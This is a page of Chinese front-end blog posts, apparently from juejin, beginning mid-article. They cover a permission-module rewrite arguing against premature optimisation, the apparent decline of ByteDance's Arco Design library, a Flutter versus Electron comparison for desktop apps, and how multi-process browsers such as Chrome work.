在那个没有性能瓶颈的后台管理系统里,他为了那肉眼不可见的 0.0001 毫秒提升,制造了一个维护麻烦。




屎山💩崩溃的那一天


灾难发生在两个月后。


业务方突然提了一个需求: 权限逻辑要改,现在支持‘反向排除’权限,而且权限字段要从数字改成字符串组。


那天,阿K 正好去年假了,手机关机😒。


任务落到了刚入职的实习生小李头上。


小李打开 permission.js,看着满屏的 >>&| 和单字母变量,整个人僵在了工位上。


他试图去理解那个位移掩码的逻辑,但他发现,只要改动一个字符,整个系统的权限就全乱套了——管理员突然看不了页面,实习生突然能删库了🤔。


这代码有毒吧…… 小李在第 10 次尝试修复失败后,差点哭出来😭。


因为这个模块的逻辑过于晦涩,且和其他模块高度耦合(阿K 为了复用,把这些位运算逻辑注入到了全局原型链里),我们根本不敢动。


结果是:那个简单的需求,被硬生生拖了一周。 业务方投诉到了 CTO 那里。


CTO 看了眼代码,沉默了三分钟,然后问了一句:


写这玩意儿的人,是觉得以后都不用维护了吗?😥




过早优化是万恶之源 !


阿K 回来后,很不服气。他觉得是我们技术太菜,看不懂他的高级操作。


他拿出了 Chrome Profiler 的截图,指着那微乎其微的差距说:看!我的写法比你们快了 40%!


但他忽略了软件工程中最重要的一条公式:



代码价值 = (实现功能 + 可维护性) / 复杂度



过早优化是万恶之源 ! ! !


在 99% 的业务场景下,V8 引擎已经足够快了。



  • 你把 forEach 改成 while 倒序循环,性能确实提升了,但代码变得难读了。

  • 你把清晰的 switch-case 改成了晦涩的 lookup table 还没有类型提示,Bug 率上升了。

  • 你为了省几个字节的内存,用各种黑魔法操作对象,导致后来的人根本不敢碰😖。


这种所谓的性能优化,其实是程序员的自嗨。


它是用团队的维护成本,去换取机器那一瞬间的快感。它不是优化,它是给项目埋雷。




什么样的代码才是好代码?


后来,我们将阿K 的那坨代码 通过 chatGPT 全部推倒重写。


1️⃣ 权限定义(语义清晰)


// permissions.ts
export enum Permission {
READ = 'read',
WRITE = 'write',
EDIT = 'edit',
DELETE = 'delete',
}

2️⃣ 用户模型


// user.ts
import { Permission } from './permissions';

export interface User {
id: string;
permissions: Permission[];
}


3️⃣ 权限校验函数(核心)


// auth.ts
import { Permission } from './permissions';
import { User } from './user';

export function hasPermission(
user: User,
required: Permission
): boolean {
return user.permissions.includes(required);
}


4️⃣ 批量权限校验


export function hasAllPermissions(
user: User,
required: Permission[]
): boolean {
return required.every(p => user.permissions.includes(p));
}

export function hasAnyPermission(
user: User,
required: Permission[]
): boolean {
return required.some(p => user.permissions.includes(p));
}


5️⃣ 判断方法


if (!hasPermission(user, Permission.DELETE)) {
throw new Error('No permission to delete');
}

用回了用户权限结构清晰可见的,权限判断,一眼就懂。甚至都不需要注释🤷‍♂️


虽然跑分慢了那么一丁点(用户根本无感知),但任何一个新来的同事,只要 5 分钟就能看懂并上手修改。


这件事给我留下了深刻的教训:



  1. 代码是写给人看的,顺便给机器运行。


    如果一段代码只有你现在能看懂,那它就是垃圾代码;如果一段代码连你一个月后都看不懂,那它就是有害代码。


  2. 不要在非瓶颈处炫技。


    如果页面卡顿是因为 DOM 节点太多,你去优化 JS 的变量赋值速度,那就是隔靴搔痒。找到真正的瓶颈(Network, Layout, Paint),再对症下药。


  3. 可读性 > 巧技。


    简单的逻辑,是对同事最大的善意。





阿K 走的时候,还是觉得自己怀才不遇,觉得这家公司配不上他的技术🤣。


我祝他未来前程似锦。


但我更希望看到这篇文章的你,下次在想要按下键盘写一段绝妙的、只有你看懂的单行代码时,能停下来想一想:


如果明天我离职了,接手的人会不会骂娘?


你是脑残么.gif


毕竟,我们不想让亲妈都不认识代码,我们更不想让同事在那骂娘。


谢谢大家👏


作者:ErpanOmer
来源:juejin.cn/post/7585897699603693594
收起阅读 »

Arco Design 停摆!字节跳动 UI 库凉了?

web
1. 引言:设计系统的“寒武纪大爆发”与 Arco 的陨落 在 2019 年至 2021 年间,中国前端开发领域经历了一场前所未有的“设计系统”爆发期。伴随着企业级 SaaS 市场的崛起和中后台业务的复杂度攀升,各大互联网巨头纷纷推出了自研的 UI 组件库。这...
继续阅读 »

1. 引言:设计系统的“寒武纪大爆发”与 Arco 的陨落


在 2019 年至 2021 年间,中国前端开发领域经历了一场前所未有的“设计系统”爆发期。伴随着企业级 SaaS 市场的崛起和中后台业务的复杂度攀升,各大互联网巨头纷纷推出了自研的 UI 组件库。这不仅是技术实力的展示,更是企业工程化标准的话语权争夺。在这一背景下,字节跳动推出了 Arco Design,这是一套旨在挑战 Ant Design 霸主地位的“双栈”(React & Vue)企业级设计系统。


Arco Design 在发布之初,凭借其现代化的视觉语言、对 TypeScript 的原生支持以及极具创新性的“Design Lab”设计令牌(Design Token)管理系统,迅速吸引了大量开发者的关注。它被定位为不仅仅是一个组件库,而是一套涵盖设计、开发、工具链的完整解决方案。然而,就在其社区声量达到顶峰后的短短两两年内,这一曾被视为“下一代标准”的项目却陷入了令人费解的沉寂。


截至 2025 年末,GitHub 上的 Issues 堆积如山,关键的基础设施服务(如 IconBox 图标平台)频繁宕机,官方团队的维护活动几乎归零。对于数以万计采用了 Arco Design 的企业和独立开发者而言,这无疑是一场技术选型的灾难。


本文将深入剖析 Arco Design 从辉煌到停摆的全过程。我们将剥开代码的表层,深入字节跳动的组织架构变革、内部团队的博弈(赛马机制)、以及中国互联网大厂特有的“KPI 开源”文化,为您还原整件事情的全貌。


2. 溯源:Arco Design 的诞生背景与技术野心


要理解 Arco Design 为何走向衰败,首先必须理解它诞生时的宏大野心及其背后的组织推手。Arco 并不仅仅是一个简单的 UI 库,它是字节跳动在高速扩张期,为了解决内部极其复杂的国际化与商业化业务需求而孵化的产物。


1.png


2.1 “务实的浪漫主义”:差异化的产品定位


Arco Design 在推出时,鲜明地提出了“务实的浪漫主义”这一设计哲学。这一口号的提出,实际上是为了在市场上与阿里巴巴的 Ant Design 进行差异化竞争。



  • Ant Design 的困境:作为行业标准,Ant Design 以“确定性”著称,其风格克制、理性,甚至略显单调。虽然极其适合金融和后台管理系统,但在需要更强品牌表达力和 C 端体验感的场景下显得力不从心。

  • Arco 的切入点:字节跳动的产品基因(如抖音、TikTok)强调视觉冲击力和用户体验的流畅性。Arco 试图在中后台系统中注入这种基因,主张在解决业务问题(务实)的同时,允许设计师发挥更多的想象力(浪漫)。


这种定位在技术层面体现为对 主题定制(Theming) 的极致追求。Arco Design 并没有像传统库那样仅仅提供几个 Less 变量,而是构建了一个庞大的“Design Lab”平台,允许用户在网页端通过可视化界面细粒度地调整成千上万个 Design Token,并一键生成代码。这种“设计即代码”的早期尝试,是 Arco 最核心的竞争力之一。


2.2 组织架构:GIP UED 与架构前端的联姻


Arco Design 的官方介绍中明确指出,该系统是由 字节跳动 GIP UED 团队架构前端团队(Infrastructure FrontEnd Team) 联合推出的。这一血统注定了它的命运与“GIP”这个业务单元的兴衰紧密绑定。


2.2.1 GIP 的含义与地位


“GIP” 通常指代 Global Internet Products(全球互联网产品)或与之相关的国际化/商业化业务部门。在字节跳动 2019-2021 年的扩张期,这是一个充满活力的部门,负责探索除了核心 App(抖音/TikTok)之外的各种创新业务,包括海外新闻应用(BuzzVideo)、办公套件、以及各种尝试性的出海产品。



  • UED 的话语权:在这一时期,GIP 部门拥有庞大的设计师团队(UED)。为了统一各条分散业务线的设计语言,UED 团队急需一套属于自己的设计系统,而不是直接沿用外部的 Ant Design。

  • 技术基建的配合:架构前端团队的加入,为 Arco Design 提供了工程化落地的保障。这种“设计+技术”的双驱动模式,使得 Arco 在初期展现出了极高的完成度,不仅有 React 版本,还同步推出了 Vue 版本,甚至包括移动端组件库。


2.3 黄金时代的技术堆栈


在 2021 年左右,Arco Design 的技术选型是极具前瞻性的,这也是它能迅速获得 5.5k Star 的原因之一:



  • 全链路 TypeScript:所有组件均采用 TypeScript 编写,提供了优秀的类型推导体验,解决了当时 Ant Design v4 在某些复杂场景下类型定义不友好的痛点。

  • 双框架并进:@arco-design/web-react 和 @arco-design/web-vue 保持了高度统一的 API 设计和视觉风格。这对于那些技术栈不统一的大型公司极具吸引力,意味着设计规范可以跨框架复用。

  • 生态闭环:除了组件库,Arco 还发布了 arco-cli(脚手架)、Arco Pro(中后台模板)、IconBox(图标管理平台)以及 Material Market(物料市场)。这表明团队不仅是在做一个库,而是在构建一个类似 Salesforce Lightning 或 SAP Fiori 的企业级生态。


然而,正是这种庞大的生态铺设,为日后的维护埋下了巨大的隐患。当背后的组织架构发生震荡时,维持如此庞大的产品矩阵所需的资源将变得不可持续。


3. 停摆的证据:基于数据与现象的法医式分析


尽管字节跳动从未发布过一份正式的“Arco Design 停止维护声明”,但通过对代码仓库、社区反馈以及基础设施状态的深入分析,我们可以断定该项目已进入实质性的“脑死亡”状态。


3.1 代码仓库的“心跳停止”


对 GitHub 仓库 arco-design/arco-design (React) 和 arco-design/arco-design-vue (Vue) 的提交记录分析显示,活跃度在 2023 年底至 2024 年初出现了断崖式下跌。


3.png


3.1.1 提交频率分析


虽然 React 版本的最新 Release 版本号为 2.66.8(截至文章撰写时),但这更多是惯性维护。



  • 核心贡献者的离场:早期的高频贡献者(如 sHow8e、jadelike-wine 等)在 2024 年后的活跃度显著降低。许多提交变成了依赖项升级(Dependabot)或极其微小的文档修复,缺乏实质性的功能迭代。

  • Vue 版本的停滞:Vue 版本的状态更为糟糕。最近的提交多集中在构建工具迁移(如迁移到 pnpm)或很久以前的 Bug 修复。核心组件的 Feature Request 长期无人响应。


3.1.2 积重难返的 Issue 列表


Issue 面板是衡量开源项目生命力的体温计。目前,Arco Design 仓库中积累了超过 330 个 Open Issue。



  • 严重的 Bug 无人修复:例如 Issue #3091 “tree-select 组件在虚拟列表状态下搜索无法选中最后一个” 和 Issue #3089 “table 组件的 default-expand-all-rows 属性设置不生效”。这些都是影响生产环境使用的核心组件 Bug,却长期处于 Open 状态。

  • 社区的绝望呐喊:Issue #3090 直接以 “又一个没人维护的 UI 库” 为题,表达了社区用户的愤怒与失望。更有用户在 Discussion 中直言 “这个是不是 KPI 项目啊,现在维护更新好像都越来越少了”。这种负面情绪的蔓延,通常是一个项目走向终结的社会学信号。


3.2 基础设施的崩塌:IconBox 事件


如果说代码更新变慢还可以解释为“功能稳定”,那么基础设施的故障则是项目被放弃的直接证据。



  • IconBox 无法发布:Issue #3092 指出 “IconBox 无法发布包了”。IconBox 是 Arco 生态中用于管理和分发自定义图标的 SaaS 服务。这类服务需要后端服务器、数据库以及运维支持。

  • 含义解读:当一个大厂开源项目的配套 SaaS 服务出现故障且无人修复时,这不仅仅是开发人员没时间的问题,而是意味着服务器的预算可能已经被切断,或者负责运维该服务的团队(GIP 相关的基建团队)已经被解散。这是项目“断供”的最强物理证据。


3.3 文档站点的维护降级


Arco Design 的文档站点虽然目前仍可访问,但其内容更新已经明显滞后。例如,关于 React 18/19 的并发特性支持、最新的 SSR 实践指南等现代前端话题,在文档中鲜有提及。与竞争对手 Ant Design 紧跟 React 官方版本发布的节奏相比,Arco 的文档显得停留在 2022 年的时光胶囊中。


4. 深层归因:组织架构变革下的牺牲品


Arco Design 的陨落,本质上不是技术失败,而是组织架构变革的牺牲品。要理解这一点,我们需要将视线从 GitHub 移向字节跳动的办公大楼,审视这家巨头在过去三年中发生的剧烈动荡。


2.png


4.1 “去肥增瘦”战略与 GIP 的解体


2022 年至 2024 年,字节跳动 CEO 梁汝波多次强调“去肥增瘦”战略,旨在削减低效业务,聚焦核心增长点。这一战略直接冲击了 Arco Design 的母体——GIP 部门。


4.1.1 战略投资部的解散与业务收缩


2022 年初,字节跳动解散了战略投资部,并将原有的投资业务线员工分流。这一动作标志着公司从无边界扩张转向防御性收缩。紧接着,教育(大力教育)、游戏(朝夕光年)以及各类边缘化的国际化尝试业务(GIP 的核心腹地)遭遇了毁灭性的裁员。


4.1.2 GIP 团队的消失


在多轮裁员中,GIP 及其相关的商业化技术团队是重灾区。



  • 人员流失:Arco Design 的核心维护者作为 GIP UED 和架构前端的一员,极有可能在这些轮次的“组织优化”中离职,或者被转岗到核心业务(如抖音电商、AI 模型 Doubao)以保住职位。

  • 业务目标转移:留下来的人员也面临着 KPI 的重置。当业务线都在为生存而战,或者全力以赴投入 AI 军备竞赛时,维护一个无法直接带来营收的开源 UI 库,显然不再是绩效考核中的加分项,甚至是负担。


4.2 内部赛马机制:Arco Design vs. Semi Design


字节跳动素以“APP 工厂”和“内部赛马”文化著称。这种文化不仅存在于 C 端产品中,也渗透到了技术基建领域。Arco Design 的停摆,很大程度上是因为它在与内部竞争对手 Semi Design 的博弈中败下阵来。


4.2.1 Semi Design 的崛起


Semi Design 是由 抖音前端团队MED 产品设计团队 联合推出的设计系统。



  • 出身显赫:与 GIP 这个边缘化的“探索型”部门不同,Semi Design 背靠的是字节跳动的“现金牛”——抖音。抖音前端团队拥有极其充裕的资源和稳固的业务地位。

  • 业务渗透率:Semi Design 官方宣称支持了公司内部“近千个平台产品”,服务 10 万+ 用户。它深度嵌入在抖音的内容生产、审核、运营后台中。这些业务是字节跳动的生命线,因此 Semi Design 被视为“核心资产”。


4.2.2 为什么 Arco 输了?


在资源收缩期,公司高层显然不需要维护两套功能高度重叠的企业级 UI 库。选择保留哪一个,不仅看技术优劣,更看业务绑定深度。



  • 技术路线之争:Semi Design 在 D2C(Design-to-Code)领域走得更远,提供了强大的 Figma 插件,能直接将设计稿转为 React 代码。这种极其强调效率的工具链,更符合字节跳动“大力出奇迹”的工程文化。

  • 归属权:Arco 属于 GIP,GIP 被裁撤或缩编;Semi 属于抖音,抖音如日中天。这几乎是一场没有悬念的战役。当 GIP 团队分崩离析,Arco 自然就成了没人认领的“孤儿”。


4.3 中国大厂的“KPI 开源”陷阱


Arco Design 的命运也折射出中国互联网大厂普遍存在的“KPI 开源”现象。



  • 晋升阶梯:在阿里的 P7/P8 或字节的 2-2/3-1 晋升答辩中,主导一个“行业领先”的开源项目是极具说服力的业绩。因此,很多工程师或团队 Leader 会发起此类项目,投入巨大资源进行推广(刷 Star、做精美官网)。

  • 晋升后的遗弃:一旦发起人成功晋升、转岗或离职,该项目的“剩余价值”就被榨干了。接手的新人往往不愿意维护“前人的功劳簿”,更愿意另起炉灶做一个新的项目来证明自己。

  • Arco 的轨迹:Arco 的高调发布(2021年)恰逢互联网泡沫顶峰。随着 2022-2024 年行业进入寒冬,晋升通道收窄,维护开源项目的 ROI(投入产出比)变得极低,导致项目被遗弃。


5. 社区自救的幻象:为何没有强有力的 Fork?


面对官方的停摆,用户自然会问:既然代码是开源的(MIT 协议),为什么没有人 Fork 出来继续维护?调查显示,虽然存在一些零星的 Fork,但并未形成气候。


5.png


5.1 Fork 的现状调查


通过对 GitHub 和 Gitee 的检索,我们发现了一些 Fork 版本,但并未找到具备生产力的社区继任者。



  • vrx-arco:这是一个名为 vrx-arco/arco-design-pro 的仓库,声称是 "aro-design-vue 的部分功能扩展"。然而,这更像是一个补丁集,而不是一个完整的 Fork。它主要解决特定开发者的个人需求,缺乏长期维护的路线图。

  • imoty_studio/arco-design-designer:这是一个基于 Arco 的表单设计器,并非组件库本身的 Fork。

  • 被动 Fork:GitHub 显示 Arco Design 有 713 个 Fork。经抽样检查,绝大多数是开发者为了阅读源码或修复单一 Bug 而进行的“快照式 Fork”,并没有持续的代码提交。


5.2 为什么难以 Fork?


维护一个像 Arco Design 这样的大型组件库,其门槛远超普通开发者的想象。



  1. Monorepo 构建复杂度:Arco 采用了 Lerna + pnpm 的 Monorepo 架构,包含 React 库、Vue 库、CLI 工具、图标库等多个 Package。其构建脚本极其复杂,往往依赖于字节内部的某些环境配置或私有源。外部开发者即使拉下来代码,要跑通完整的 Build、Test、Doc 生成流程都非常困难。

  2. 生态维护成本:Arco 的核心优势在于 Design Lab 和 IconBox 等配套 SaaS 服务。Fork 代码容易,但 Fork 整个后端服务是不可能的。失去了 Design Lab 的 Arco,就像失去了灵魂的空壳,吸引力大减。

  3. 技术栈锁定:Arco 的一些底层实现可能为了适配字节内部的微前端框架或构建工具(如 Modern.js)做了特定优化,这增加了通用化的难度。


因此,社区更倾向于迁移,而不是接盘


6. 用户生存指南:现状评估与迁移策略


对于目前仍在使用 Arco Design 的团队,局势十分严峻。随着 React 19 的临近和 Vue 3 生态的演进,Arco 将面临越来越多的兼容性问题。


6.1 风险评估表


风险维度风险等级具体表现
安全性🔴 高危依赖的第三方包(如 lodash, async-validator 等)若爆出漏洞,Arco 不会发版修复,需用户手动通过 resolutions 强行覆盖。
框架兼容性🔴 高危React 19 可能会废弃某些 Arco 内部使用的旧生命周期或模式;Vue 3.5+ 的新特性无法享受。
浏览器兼容性🟠 中等新版 Chrome/Safari 的样式渲染变更可能导致 UI 错位,无人修复。
基础设施⚫ 已崩溃IconBox 无法上传新图标,Design Lab 可能随时下线,导致主题无法更新。

6.png


6.2 迁移路径推荐


方案 A:迁移至 Semi Design(推荐指数:⭐⭐⭐⭐)


如果你是因为喜欢字节系的设计风格而选择 Arco,那么 Semi Design 是最自然的替代者。



  • 优势:同为字节出品,设计语言的命名规范和逻辑有相似之处。Semi 目前维护活跃,背靠抖音,拥有强大的 D2C 工具链。

  • 劣势:API 并非 100% 兼容,仍需重构大量代码。且 Semi 主要是 React 优先,Vue 生态支持相对较弱(主要靠社区适配)。


7.png


方案 B:迁移至 Ant Design v5/v6(推荐指数:⭐⭐⭐⭐⭐)


如果你追求极致的稳定和长期的维护保障,Ant Design 是不二之选。



  • 优势:行业标准,庞大的社区,Ant Gr0up 背书。v5 版本引入了 CSS-in-JS,在定制能力上已经大幅追赶 Arco 的 Design Lab。

  • 劣势:设计风格偏保守,需要设计师重新调整 UI 规范。


方案 C:本地魔改(推荐指数:⭐)


如果项目庞大无法迁移,唯一的出路是将 @arco-design/web-react 源码下载到本地 packages 目录,作为私有组件库维护。



  • 策略:放弃官方更新,仅修复阻塞性 Bug。这需要团队内有资深的前端架构师能够理解 Arco 的源码。


4.png


7. 结语与启示


Arco Design 的故事是现代软件工程史上的一个典型悲剧。它证明了在企业级开源领域,康威定律(Conway's Law) 依然是铁律——软件的架构和命运取决于开发它的组织架构。


当 GIP 部门意气风发时,Arco 是那颗最耀眼的星,承载着“务实浪漫主义”的理想;当组织收缩、业务调整时,它便成了由于缺乏商业造血能力而被迅速遗弃的资产。对于技术决策者而言,Arco Design 的教训是惨痛的:在进行技术选型时,不能仅看 README 上的 Star 数或官网的精美程度,更要审视项目背后的组织生命力维护动机


8.png


目前来看,Arco Design 并没有复活的迹象,社区也没有出现强有力的接棒者。这套组件库正在数字化浪潮的沙滩上,慢慢风化成一座无人问津的丰碑。


作者:HexCIer
来源:juejin.cn/post/7582879379441745963
收起阅读 »

桌面应用开发,Flutter 与 Electron如何选

web
前言:这一年来我基本处于断更的状态,我知道在AI时代,编码的成本已经变得越来越低,技术分享的流量必然会下降。但这依然是一个艰难的过程,日常斥责自己没有成长,没有作品。 除了流量问题、巨量的工作,更多的原因是由于技术栈的变化。我开始使用Electron编写一个重...
继续阅读 »

前言:这一年来我基本处于断更的状态,我知道在AI时代,编码的成本已经变得越来越低,技术分享的流量必然会下降。但这依然是一个艰难的过程,日常斥责自己没有成长,没有作品。

除了流量问题、巨量的工作,更多的原因是由于技术栈的变化。我开始使用Electron编写一个重要的AI产品,并且在 Flutter 与 Electron 之间来回拉扯......



背景


我们对 Flutter 技术的应用,不仅是在移动端APP,在我们的终端设备也用来做 OS 应用,跨Android、Windows、Linux系统。

在 Flutter 上,我们是有所沉淀的,但是当我们决定研发一款重要的PC应用时,依然产生了疑问:Flutter 这门技术,真的能满足我们在核心桌面应用的研发需求吗?

最终,基于官方能力、技术生态、roadmap等一系列原因,我们放弃在核心应用上使用 Flutter,转而代之选择了 Electron


这篇文章将从这几个月使用 Electron 的切实体验,从不同角度,对 FlutterElectron 这两款支持跨端桌面应用开发技术,做一个详细的对比。


Flutter VS Electron


维度FlutterElectron
发布时间2021 年 3 月 宣布支持桌面端2013 年 4 月发布,发布即支持
核心场景移动APP跨端桌面应用跨端
官方网站flutter.devhttp://www.electronjs.org
开发文档docs.flutter.devhttp://www.electronjs.org/docs
插件包管理Pub(pub.dev),提供大量 UI 组件、工具类库npm(http://www.npmjs.com),依赖前端生态,插件丰富(如 electron-builder 打包工具)
研发组织GoogleGithub

方案成熟度


毫无疑问,在方案成熟度上 Electron 是碾压 Flutter 的存在。


1. 多进程能力



  • Flutter 目前还是单进程的能力,只能通过创建 isolate 来实现部分耗时任务,但是内存也是不共享的。

  • Electron 集成了 Nodejs 服务,自带多进程的能力,且提供了完整的跨进程机制IPC「Inter-Process Communication」)。


2. 多窗口支持



  • Flutter 目前不支持多窗口。由于其是自绘引擎,本身还是依赖原生进程提供的桌面窗口,所以需要原生与 Flutter 引擎不断的进行沟通对接,才能很好的使用多窗口能力。

    目前官方只是提供了 demo 来验证多窗口的可行性,但截止发文还没有办法在公版试用。

  • Electron 将 Chromium 的核心模块打包到发行包中,借助浏览器的能力,可以随意开辟新的窗口(如: BrowserWindow


3. 开发语言



  • Flutter 使用dart语言开发,采用声明式UI进行布局,插件管理使用官方的 pub 社区,学习和使用成本不算高。

  • Electron 使用JavaScript/TypeScript + HTML/CSS 的前端技术栈进行开发,社区也完全跟前端一致,非常丰富但鱼龙混杂


4. 原生能力的支持



  • Flutter 本质是一个 UI 框架,原生能力需要通过编写插件去调用,或者通过 FFI 调用,成本是很高的,你很难找到一个懂多端原生技术的开发。

  • Electron 有 node 环境,node.js 很多原生模块,可以直接调用到系统的能力,非常的高效。


开发体验和技术生态


1. 调试工具



  • Flutter 的调试工具,主要是依赖 IDE 本身的断点调试能力,以及自研的Flutter Inspector、devTools。

    在UI定位、性能监控方面,基本可以满足。但由于是个 UI 框架,对于原生容器是无法进行调试的,这在混合开发过程中是个比较大的痛点。

  • Electron 就是个浏览器,对于主进程和node子进程,有 Inspect 的机制; UI 层就更方便了,就是浏览器的调试器一模一样。生产环境下调试成本也低。


2. 打包编译


Flutter 是通过自绘引擎生成原生应用包,而 Electron 是将网页技术(HTML/CSS/JS)包裹在 Chromium 内核中。


底层技术架构的区别,直接决定了 Electron 的打包相对 Flutter 有些困难,且包体积很大。


对比维度FlutterElectron
打包原理编译成目标平台的原生二进制代码,搭配自绘引擎(Skia)封装 Chromium 内核 + Node.js 环境,运行网页资源
最终产物与原生应用格式一致(如 .apk/.ipa/.exe)包含浏览器内核的独立应用包
跨平台方式一份代码编译成多平台原生包,需分别打包一份代码打包成多平台包,内核随应用分发
应用体积较小(基础包约 10-20MB)较大(基础包约 50-100MB,内核占主要体积)

3. 官方和社区的活跃性



  • Flutter 官方在桌面端的推进很慢,很多基础能力都没有太多的推进。同时在 roadmap 中,重心都偏向移动端和 web 端。

  • Electron 由于产品的体量和成熟度,稳定的在更新,每个版本都会带来一些新的特性。
    image.png


4. 研发团队


技能维度FlutterElectron
核心语言Dart,需理解其异步逻辑、Widget 组件化思想JavaScript/TypeScript,前端开发者可无缝衔接
UI 技术Flutter 内置 Widget 体系,需学习其布局(Row/Column)、状态管理(Provider/Bloc)HTML/CSS,可复用前端生态(Vue/React/Element UI 等)
原生交互需了解 Android(Kotlin/Java)、iOS(Swift/OC)基础,复杂功能需写原生插件依赖 Node.js 模块或现成插件,无需深入原生开发
工程化工具依赖 Flutter CLI、Android Studio/Xcode(打包配置)依赖 npm/yarn、webpack/vite(前端构建工具)

可以看出,Flutter至少需要 1-2 名熟悉 Dart 的开发者,还需要有原生开发能力,技术门槛是比较高的;而 Electron 以前端开发者为主,熟悉 Node.js 即可完成所有开发,是可以快速上手的


同时前端开发也比 Flutter 开发要更容易招聘


结语


笔者本身是 Flutter 的忠实维护者,我认为 Flutter 的 Impeller 图形渲染引擎将不断完善,能在各个端达到更好的渲染速度和效果;同时 Flutter 目前的多窗口方案,让我们可以充分的相信可以多个窗口共用一份内存,而不需要通过进程间通信机制


但是,在 Flutter 暂未成熟的阶段,桌面核心产品还是用 Electron 进行开发会更加合适。我们 也期待未来 Electron 可以多集成WebAssembly来提升计算密集型任务的性能,减少 Chromium 内核的高内存占用。


作者:Karl_wei
来源:juejin.cn/post/7578719771589066762
收起阅读 »

偷看浏览器后台,发现它比我忙多了

web
为啥以前 IE 老“崩溃”,而现在开一堆标签页的 Chrome 还能比较稳?答案都藏在浏览器的「进程模型」里。 作为一个还在学习前端的同学,我经常听到几个关键词: 进程、线程、多进程浏览器、渲染进程、V8、事件循环…… 下面就是我目前的理解,算是一篇学习笔记...
继续阅读 »

为啥以前 IE 老“崩溃”,而现在开一堆标签页的 Chrome 还能比较稳?答案都藏在浏览器的「进程模型」里。



作为一个还在学习前端的同学,我经常听到几个关键词:

进程、线程、多进程浏览器、渲染进程、V8、事件循环……


下面就是我目前的理解,算是一篇学习笔记式的分享


一、先把概念捋清:进程 vs 线程



  • 进程(Process)



    • 操作系统分配资源的最小单位。

    • 拥有独立的内存空间、句柄、文件等资源。

    • 不同进程间默认互相隔离,通信要通过 IPC。



  • 线程(Thread)



    • CPU 调度、执行代码的最小单位。

    • 共享所属进程的资源(内存、文件句柄等)。

    • 一个进程里可以有多个线程并发执行。




简单理解:



  • 进程 = 一个“应用实例” (开一个浏览器窗口就是一个进程)。

  • 线程 = 应用里的很多“小工人” (一个负责渲染页面,一个负责网络请求……)。


二、单进程浏览器:旧时代的 IE 模型


早期的浏览器(如旧版 IE)基本都是单进程架构:整个浏览器只有一个进程,里面开多个线程来干活。


可以想象成这样一张图(对应你给的“单进程浏览器”那张图):



  • 顶部是「代码 / 数据 / 文件」等资源。

  • 下面有多个线程:



    • 页面线程:负责页面渲染、布局、绘制。

    • 网络线程:负责网络请求。

    • 其他线程:例如插件、定时任务等。



  • 所有线程共享同一份进程资源。


在这个模型下:



  • 页面渲染、JavaScript 执行、插件运行,都挤在同一个进程里。

  • 某个插件或脚本一旦崩溃、死循环、内存泄漏,整个浏览器都会被拖垮

  • 多开几个标签页,本质上依旧是同一个进程里的不同页面线程, “一荣俱荣,一损俱损”


这也是很多人对 IE 的经典印象:



“多开几个页面就卡死,崩一次,所有标签页一起消失”。



三、多进程浏览器:Chrome 的现代架构


Chrome 采用的是多进程、多线程混合架构。打开浏览器时,大致会涉及这些进程:



  • 浏览器主进程(Browser Process)



    • 负责浏览器 UI、地址栏、书签、前进后退等。

    • 管理和调度其他子进程(类似一个大管家)。

    • 负责部分存储、权限管理等。



  • 渲染进程(Render Process)



    • 核心任务:把 HTML / CSS / JavaScript 变成用户可以交互的页面。

    • 布局引擎(如 Blink)和 JS 引擎(如 V8)都在这里。

    • 默认情况下,每个标签页会对应一个独立的渲染进程



  • GPU 进程(GPU Process)



    • 负责 2D / 3D 绘制和加速(动画、3D 变换等)。

    • 统一为浏览器和各渲染进程提供 GPU 服务。



  • 网络进程(Network Process)



    • 负责资源下载、网络请求、缓存等。



  • 插件进程(Plugin Process)



    • 负责运行如 Flash、扩展等插件代码,通常放在更严格的沙箱里。




你给的第一张图,其实就是这么一个多进程架构示意图:中间是主进程,两侧是渲染、网络、GPU、插件等子进程,有的被沙箱保护。


download.png


四、单进程 vs 多进程:核心差异一览(表格对比)


下面这张表,把旧式单进程浏览器和现代多进程浏览器的差异总结出来,适合在文章中重点展示:


对比维度单进程浏览器(典型:旧版 IE)多进程浏览器(典型:Chrome)
进程模型整个浏览器基本只有一个进程,多标签页只是不同线程浏览器主进程 + 多个子进程(渲染、网络、GPU、插件…),标签页通常独立渲染进程
稳定性任意线程(脚本、插件)崩溃,可能拖垮整个进程,浏览器整体崩溃某个标签页崩溃只影响对应渲染进程,其他页面基本不受影响
安全性代码都在同一进程运行,权限边界模糊,攻击面大利用多进程 + 沙箱:渲染进程、插件进程被限制访问系统资源,需要通过主进程/IPC
性能体验多标签共享资源,某个页面卡顿,容易拖慢整体;UI 和页面渲染耦合严重不同进程之间可以更好地利用多核 CPU,重页面操作不会轻易阻塞整个浏览器 UI
内存占用单进程内存相对集中,但一旦泄漏难以回收;崩溃时损失全部状态多进程会有一定内存冗余,但某个进程关闭/崩溃后,其内存可被系统直接回收
插件影响插件崩溃 = 浏览器崩溃,体验极差插件独立进程 + 沙箱,崩溃影响有限,可以单独重启
维护与扩展所有模块耦合在一起,改动风险大进程边界天然分层,更利于模块化演进和大规模工程化

download.png


五、别被“多进程”骗了:JS 依然是单线程


聊到这里,很多同学容易混淆一个点:



浏览器是多进程的,那 JavaScript 是不是也多线程并行执行了?



答案是否定的:主线程上的 JavaScript 依然是单线程模型。区别在于:



  • 渲染进程内部,有一个主线程负责:



    • 执行 JavaScript。

    • 页面布局、绘制。

    • 处理用户交互(点击、输入等)。



  • JS 代码仍然遵循:同步任务立即执行,异步任务丢进任务队列,由事件循环(Event Loop)调度


为什么要坚持单线程?



  • DOM 是单线程模型,多个线程同时改 DOM,锁会非常复杂。

  • 前端开发心智成本可控;不必像多线程语言那样到处考虑锁和竞态条件。


多进程架构只是把:



  • “这个页面的主线程 + 渲染 + JS 引擎”

    放在一个单独的进程里(渲染进程)。


这也是为什么:



  • 一个页面 JS 写了死循环,会卡死那一个标签页。

  • 但其他标签页通常还能正常使用,因为它们在完全不同的渲染进程内。


六、从架构看体验:为什么我们更喜欢现在的浏览器?


站在前端开发者角度,多进程架构带来的直接收益有:



  • 更好的容错性

  • 更高的安全等级

  • 更顺滑的交互体验

  • 更容易工程化演进


当然,代价也很现实:多进程 = 更高的内存占用。这也是为什么:



  • 多开几十个标签,任务管理器里能看到很多浏览器相关进程。

  • 但换来的是更好的稳定性、安全性和扩展性——在现代硬件下,这是可以接受的 trade-off。


七、总结



  • 早期浏览器采用单进程 + 多线程模式,所有页面、脚本、插件都在同一个进程里,一旦出问题就“全军覆没”。

  • 现代浏览器(代表是 Chrome)使用多进程架构:主进程负责调度,各个渲染、网络、GPU、插件进程各司其职,并通过沙箱强化隔离。

